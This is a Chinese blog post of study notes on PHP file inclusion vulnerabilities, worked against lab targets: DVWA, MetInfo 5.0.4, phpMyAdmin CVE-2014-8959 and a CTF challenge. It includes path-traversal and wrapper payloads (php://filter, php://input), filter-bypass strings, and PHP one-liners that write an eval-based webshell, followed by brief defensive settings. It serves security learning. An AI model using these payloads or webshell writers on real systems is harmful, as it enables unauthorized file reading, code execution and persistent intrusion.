文件包含学习笔记总结

于 2023-11-15 19:56:07 发布
阅读量505 收藏
点赞数
文章标签： 学习 笔记 android web安全 安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_58683895/article/details/134428008
版权

文件包含概述

​ 程序开发人员通常会把可重复使用函数或语句写到单个文件中，形成“封装”。在使用某个功能的时候，直接调用此文件，无需再次编写，提高代码重用性，减少代码量。这种调用文件的过程通常称为包含。

​ 程序开发人员都希望代码更加灵活，所以会把被包含的文件的路径设置为变量，来进行动态调用（包含），但正是由于这种灵活性，如果被包含文件的路径客户端可控，造成任意文件包含漏洞。

​ 几乎所有的脚本都会提供文件包含的功能，文件包含漏洞在PHP 的Web 应用中居多，在JSP/ASP/ASP.NET 程序中比较少。

文件包含语句

PHP 提供了四个文件包含的语句，四个语句之间略有不同。

语句区别
include()多次包含，多次执行
如果包含失败，脚本产生警告，继续运行
include_once()多次包含，一次执行
如果包含失败，脚本产生警告，继续运行
require()多次包含，多次执行
如果包含失败，脚本产生错误，结束执行
require_once()多次执行，一次执行
如果包含失败，脚本产生错误，结束执行

相关配置

文件包含是PHP 的基本功能之一，有本地文件包含与远程文件包含之分。简单来说，本地文件包含就是可以读取和打开本地文件，远程文件包含就是可以远程（方式）加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件

动态包含

示例代码

// file-include.php
$fp = @$_GET['filepath'];
@include $fp;

本地文件包含

本地文件包含（Local File Include，LFI）通过本地路径访问到的文件。

?filepath=../phpinfo.php

远程文件包含

远程文件包含（Remote File Include，RFI），通过远程路径访问到的文件。

?filepath=http://10.9.64.180/phpinfo.jpg

漏洞原理

漏洞原理

PHP 文件包含是程序设计的基础功能之一，能够减少代码量，提高开发效率。但是使用文件包含功能时，有类似于以上测试代码的设计，实现了动态包含，就有产生文件包含漏洞的风险。如果实现动态包含的参数，Web 应用没有进行严格的校验，浏览器客户端用户可以影响控制被包含文件的路径，就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP 代码，为图片木马提供了出路。

?filepath=a_yjh_info.jpg

文件包含攻防

利用方法

包含图片木马

菜刀直接连接

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg

读取敏感文件

利用文件包含漏洞，也可以读取敏感文件。

前提条件：

  • 目标文件存在（已知目标文件路径）；

  • 具有文件可读权限。

具体方法：

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

封装协议

封装协议说明
file://访问本地文件系统
http://访问 HTTP(s) 网址
ftp://访问 FTP(s) URLs
php://访问各个输入/输出流（I/O streams）
zlib://压缩流
data://数据（RFC 2397）
glob://查找匹配的文件路径模式
phar://PHP 归档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

读取php文件源码

利用php://fileter 读取。

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果：

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

image-20231115151941386

执行php命令

利用条件：

  • 利用php://input 执行PHP 命令；

  • 远程文件包含开启。

POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18
<?php phpinfo();?>

包含图片马写shell

条件：

确定文件包含漏洞存在；

菜刀不能直接连接，需要使用文件包含新建的那个php文件进行连接

写Shell：

<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

利用：

http://10.9.47.217/test.php?filepath=shell.php

image-20231115154112565

包含日志

Apache 日志：

访问日志

错误日志

Nginx 日志：

访问日志

错误日志

SSH 日志

邮件日志

经典案例

  • metinfo_5.0.4_lfi

  • dvwa_lfi_high_getshell

metinfo_5.0.4

漏洞位置

/about/index.php

源码

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
//echo $fmodule;
//echo "<hr >";
//echo $module;
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

可以看到有效代码总共四行，其中两行文件包含，第十行的文件包含为动态参数

输出一下$module变量看看

添加一条echo语句过后再访问，发现网页中回显出show.php

image-20231115113056959

看看show.php的源码

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
require_once '../include/common.inc.php';
if(!$id && $class1)$id = $class1;
$show = $db->get_one("SELECT * FROM $met_column WHERE id=$id and module=1");
if(!$show||!$show['isshow']){
okinfo('../404.html');
}
$metaccess=$show[access];
if($show[classtype]==3){
$show3 = $db->get_one("SELECT * FROM $met_column WHERE id='$show[bigclass]'");
$class1=$show3[bigclass];
$class2=$show[bigclass];
$class3=$show[id];
}else{
$class1=$show[bigclass]?$show[bigclass]:$id;
$class2=$show[bigclass]?$id:"0";
$class3=0;
}

require_once '../include/head.php';
$class1_info=$class_list[$class1];
$class1_list=$class1_info;
$class2_info=$class_list[$class2];
$class3_info=$class_list[$class3];
$show[content]=contentshow('<div>'.$show[content].'</div>');
$show[description]=$show[description]?$show[description]:$met_keywords;
$show[keywords]=$show[keywords]?$show[keywords]:$met_keywords;
$met_title=$met_title?$show['name'].'-'.$met_title:$show['name'];
if($show['ctitle']!='')$met_title=$show['ctitle'];
require_once '../public/php/methtml.inc.php';
include template('show');
footer();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

其中有文件包含，但是并没有$module相关的参数

定位到index.php第六行文件包含位置看看内容

即 /module.php

在此页中搜索一下，找到第一次出现的位置

image-20231115113545702

此段代码为if判断初始化代码，如果$fmodule不等于7则进入初始化，等于7则不进行初始化

if($fmodule!=7){
	if($mdle==100)$mdle=3;
	if($mdle==101)$mdle=5;
	$module = $modulefname[$mdle][$mdtp];
	if($module==NULL){okinfo('../404.html');exit();}
	if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
		if($fmodule==$mdle){
			$module = $modulefname[$mdle][$mdtp];
		}
		else{
			okinfo('../404.html');exit();
		}
	}
	else{
		if($list){
			okinfo('../404.html');exit();
		}
		else{
			$module = $modulefname[$mdle][$mdtp];
		}
	}
	if($mdle==8){
	if(!$id)$id=$class1;
	$module = '../feedback/index.php';
	}
}

于是可以将fmodule的值设置为7，然后控制module的值进行操作

fmodule的值为非7时

image-20231115114251847

fmodule的值为7时

image-20231115114316458

调整module的值为读取hosts文件

http://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule=7&module=c://windows/system32/drivers/etc/hosts

http://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule=7&module=../../../../../../windows/system32/drivers/etc/hosts

image-20231115114417869

可以进行读取

为什么此处可以使用get传参将值传递给这两个参数，module.php页中并没有接受传参的代码？

定位到该页首部会发现一个文件包含

image-20231115114817343

本页中该段代码是接受传参的

image-20231115114945043

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value);
	}
}

添加一条输出后就能看到键值对

image-20231115144111174

image-20231115144004004

dvwa

low

源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

构造url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=c:\\windows\system32\drivers\etc\hosts

image-20231115192410105

medium

源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

读代码可知，http头和…/ …\被过滤了

首先可以使用绝对路径

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=c:\\windows\system32\drivers\etc\hosts

image-20231115193354300

使用http的话，可以进行双写绕过

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=hthttp://tp://10.9.47.221/phpinfo.php

image-20231115194323674

使用相对路径时

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=/..././..././..././..././..././..././..././windows/system32/drivers/etc/hosts

image-20231115194526968

high

源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

代码可知，如果不以file开头，并且不是include.php的话，就会报错，因此构造一个伪协议file开头的url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=file:///c://windows/system32/drivers/etc/hosts

image-20231115195409067

文件包含防御

  • 尽量少的使用动态包含；

  • 严格过滤被包含文件的路径；

  • 将参数allow_url_include 设置为Off；

  • 使用参数open_basedir 限定文件访问范围。

open_basedir = c:\phpstudy_2016\www\

扩展1-phpmyadmin 文件包含（CVE-2014-8959）

构造poc

http://10.9.47.235:50614/pma/gis_data_editor.php?token=012ecd10f47ae9c1efaa4cafefa51d11&&gis_data[gis_type]=/../../../../1.gif%00

以post方式提交

image-20231115155525170

成功获取phpinfo

扩展2 01ctfer_afr1

先读取一下flag

发现nonono

image-20231115174139535

但是证明应该有这个文件

使用base64读取flag

http://10.4.7.137/?p=php://filter/read=convert.base64-encode/resource=flag

得到

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

image-20231115174309244

解码

image-20231115174328649

得到flag

n1book{afr_1_solved}
order libra
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【文件包含漏洞-01】文件包含漏洞成因与其包含语句及其相关配置
cc
02-21 3030
tips：当服务器开启allow_url_include选项时，就可以通过php的某些特性函数[include(),require()，include_once(),require_once()]利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。，页面显示如下，可以看到在require语句界面，第一条require语句成功执行，但是第二条语句执行出错，显示警告，也出现报错致命错误，程序终止，导致后续 脚本无法执行！，网页显示如下，可以看到语句被成功执行！
文件包含笔记
qq_32812063的博客
11-28 564
文件包含
文件包含语句
weixin_44739368的博客
08-27 657
文件包含语句 作用：在程序开发中，会涉及到多个PHP文件。为此，PHP提供了包含语句，可以从另一个文件中将代码包含进来。 好处：不仅可以提高代码的重用性，还可以提高代码的维护和更新的效率。 如：include、include、include_once、require_once 下面以include语句为例讲解，他包含语句语法类似。具体语法格式如下： include ‘文件路径’; “文件路径”指...
php文件包含语句包括哪几种,PHP include和require：文件包含语句
weixin_42407606的博客
03-18 781
包含语句用于在 PHP 文件中引入另一个文件，这样有利于代码重用。PHP 中共有 4 个包含外部文件的方法，分别是 include、include_once、require、require_once。include 语句include 语句包含并运行指定文件。被包含文件先按参数给出的路径寻找，如果没有给出目录(只有文件名)，就按照 include_path(在配置文件中可查看 include_pa...
php文件包含语句,文件包含 - 永_才的个人空间 - OSCHINA - 中文开源技术交流社区...
weixin_33998219的博客
04-01 334
在实际应用中，往往需要将一些公用的代码放到一个单独的文件中，其他的文件只需要包含这个文件就可以了。这样做，有助于提高代码的重用性，并为后期维护带来很大的便利。本节将要介绍如何在PHP中实现文件包含操作。使用require和require_once语句进行文件包含require语句用于将指定的文件包含到代码本身，其语法格式如下。require(string filename)其中filename指代...
PHP文件包含与一句话木马实验代码
a2788656708的博客
12-03 2672
文件包含 1.新建phpinfo.php文件 2.用include语句包含phpinfo.php文件 3.浏览器访问 1.利用require 语句包含phpinfo.php文件 2.浏览器访问 一句话木马 ASSERT函数 1.利用assert函数创建get.php 2.浏览器访问 在url中 ip地址后输入 cmd=system("whoami"); 1.利用assert函数创建post.php 2.浏览器访问 在post data 栏 输入 ...
JSP学习笔记总结.doc
12-22
**JSP学习笔记总结** **第 1 章 JSP 和 Web 页面的交互** 1.1 JSP（JavaServer Pages）是Java技术在Web开发中的应用，它允许开发者将静态HTML与动态Java代码结合起来，生成动态网页。通过在HTML页面中嵌入Java代码...
java学习笔记总结.doc
07-22
这篇文档是个人的Java学习笔记总结，旨在帮助0基础的学习者从零开始掌握Java基础知识，并逐步成为专业的Java开发者。以下是笔记中涉及的一些关键知识点： 1. **Java开发环境的设置**： 要开始Java编程，首先需要...
学习笔记总结
01-13
Java学习笔记总结 Java是一种广泛使用的面向对象的编程语言，由Sun Microsystems（后被Oracle公司收购）于1995年推出。它的设计目标是具备“一次编写，到处运行”的特性，这使得Java代码能够在各种操作系统上运行，...
vasp输入文件学习笔记
03-08
VASP 输入文件学习笔记 VASP（Vienna Ab initio Simulation Package）是一款功能强大且广泛应用于材料科学和凝聚态物理领域的计算软件。作为一款专业的 IT 行业大师，我将对 VASP 输入文件的知识点进行详细的解释和...
notes学习笔记总结
最新发布
03-18
最后，"notes学习笔记总结"可能还包括如何利用笔记进行有效学习的策略，如间隔重复和自我解释。间隔重复是一种记忆强化技巧，通过在不同时间间隔重复复习，可以增强长期记忆。自我解释则是将新知识与已有的知识框架...
php中各种包含
bailin710258的专栏
09-30 914
PHP中有四个包含文件的函数：include(), include_once(), require()和require_once()。弄清楚他们的区别是学习PHP的基础之一，可以避免不少写代码过程中产生的不必要的麻烦。 　　include() 　　1. 调用方式：include(“/path/to/filename”) 　　2. 说明： include()语句将在它被调用的地方包
php文件包含的四种方式分别是,5.PHP文件包含
weixin_42361133的博客
03-10 1465
思考：PHP的函数要求是函数必须在内存中才能调用，但是函数是一个一个写在对应的PHP文件中的，那其他文件中的代码必须要复制代码过来才能访问吗？引入：如果一个文件中对应的功能已经写好了，那么想要在其他PHP文件中使用，必须要保证该文件中的代码都进入到内存，而且彼此间有关联才可。这个使用PHP提供了一种解决方案，就是文件包含。文件包含【掌握】定义：文件包含，就是在一个要运行的PHP脚本中，去将另外一个...
CTF--文件包含
woshisz0413的博客
11-27 1985
(1)文件包含漏洞 原理：.php文件可能在前台显示不出来（php://filter过滤读取源代码，如URL:xxxx/index.php?file=show.php） 方法：先让文件转化为base64格式然后再输出 例：xxxx/index.php?file=php://filter/read=convert.base64-encode/resource=index.php ...
php中文件包含语句分别,PHP中文件包含语句的区别
weixin_35245810的博客
03-31 168
PHP中有四个包含文件的函数：include(), include_once(), require()和require_once()。弄清楚他们的区别是学习PHP的基础之一，可以避免不少写代码过程中产生的不必要的麻烦。include()1. 调用方式：include(“/path/to/filename”)2. 说明： include()语句将在它被调用的地方包含参数所指定的文件，其效果和将某个文...
突破上传之文件包含漏洞以及修复方案
pygain的博客
10-11 7673
1.文件包含功能概述 对一个简单的 PHP 小程序来说，在不同的 PHP 脚本之间剪切或复制某一函数不是大问题， 但是当进入项目开发时，函数的数量将会变得相当庞大，并且函数具有较强的复杂性，这时你就会把它们保存到一个便于随时调用的函数库中，以便于该函数在整个项目中可以随时被调用。通常情况下这个函数库是一个文件，我们称为代码库。当为特定领域的功能编写函数时，希望通过把自定义的这些函数组织到一起，并
【CTF题】使用文件包含漏洞读取网页代码
热门推荐
keysking瞎写东西的地方
01-25 2万+
【CTF题】使用文件包含漏洞读取网页代码按照我的理解文件包含漏洞是指网页后端php（或其他）代码中使用了include等文件包含语句，而且所包含的文件由变量控制，恰恰此变量又能通过GET或POST等方式进行修改所造成的。1.直接包含内有运行代码的文件比如有一index.php<?php include $_GET['file']; ?>那么就可以通过抓包修改file值的办法去运行一些本来不该运行
包含文件语句include、include_once、require、require_once详解
明天的记忆
05-29 192
[b]下面对include、include_once、require、require_once这个几个表达式做下介绍 四个都是 表达式，而非 函数 所以可以这样来写[/b] [code="php"]include './test.php';[/code] [b]也可以[/b][/color] [code="php"]include('./test.php');[/code] [...
Qt学习笔记
01-20
"Qt学习笔记"是作者嘒彼小星在学习Qt过程中总结的一系列知识点的笔记，通过这些笔记，作者分享了从Hello Qt程序开始的学习经验。在这个Qt版本的Hello Qt程序中，作者介绍了Qt资源，提供了学习中遇到的各种知识点的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值